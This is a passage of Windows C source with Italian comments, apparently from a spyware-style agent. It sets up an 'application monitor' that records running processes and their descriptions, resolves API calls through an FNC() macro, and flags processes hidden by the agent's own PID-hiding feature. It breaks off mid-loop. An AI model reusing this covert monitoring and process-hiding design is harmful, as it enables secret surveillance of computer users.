BOOL bPM_ApplicationStarted = FALSE; // Flag che indica se il monitor e' attivo o meno BOOL bPM_appcp = FALSE; // Semaforo per l'uscita del thread HANDLE hApplicationThread = NULL; #define PROC_DESC_LEN 100 typedef struct _application_list_entry_struct { BOOL is_free; WCHAR proc_name[50]; WCHAR proc_desc[PROC_DESC_LEN]; DWORD PID; BOOL is_hidden; BOOL still_present; } application_list_entry_struct; application_list_entry_struct *g_application_list = NULL; DWORD g_application_count = 0; void GetProcessDescription(DWORD PID, WCHAR *description, DWORD desc_len_in_word) { struct LANGANDCODEPAGE { WORD wLanguage; WORD wCodePage; } *lpTranslate; UINT cbTranslate = 0, cbDesc = 0; HANDLE hproc; BYTE *file_info; WCHAR *desc_ptr; DWORD info_size, dummy; WCHAR process_path[MAX_PATH+1]; WCHAR file_desc_name[128]; // Se non riesce a prendere la desc, torna una stringa vuota if (desc_len_in_word > 0) description[0] = 0; if ( (hproc = FNC(OpenProcess)(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, PID)) == NULL ) return; if (FNC(GetModuleFileNameExW)(hproc, NULL, process_path, sizeof(process_path)/sizeof(WCHAR)) == 0) { CloseHandle(hproc); return; } CloseHandle(hproc); if ( (info_size = FNC(GetFileVersionInfoSizeW)(process_path, &dummy)) == 0 ) return; if ( (file_info = (BYTE *)malloc(info_size)) == NULL ) return; if (!FNC(GetFileVersionInfoW)(process_path, NULL, info_size, file_info)) { free(file_info); return; } if (!FNC(VerQueryValueW)(file_info, L"\\VarFileInfo\\Translation", (LPVOID*)&lpTranslate, &cbTranslate) || cbTranslate < sizeof(struct LANGANDCODEPAGE)) { free(file_info); return; } swprintf_s(file_desc_name, sizeof(file_desc_name)/sizeof(WCHAR), L"\\StringFileInfo\\%04x%04x\\FileDescription", lpTranslate[0].wLanguage, lpTranslate[0].wCodePage); if (FNC(VerQueryValueW)(file_info, file_desc_name, (LPVOID *)&desc_ptr, &cbDesc) && cbDesc>0) _snwprintf_s(description, desc_len_in_word, _TRUNCATE, L"%s", desc_ptr); free(file_info); } BOOL ApplicationInsertInList(WCHAR *proc_name, WCHAR *proc_desc, DWORD PID) { DWORD i; application_list_entry_struct *temp_array = NULL; pid_hide_struct pid_hide = NULL_PID_HIDE_STRUCT; BOOL is_hidden = FALSE; SET_PID_HIDE_STRUCT(pid_hide, PID); if (AM_IsHidden(HIDE_PID, &pid_hide)) is_hidden = TRUE; // Cerca di inserirlo in un elemento libero for (i=0; i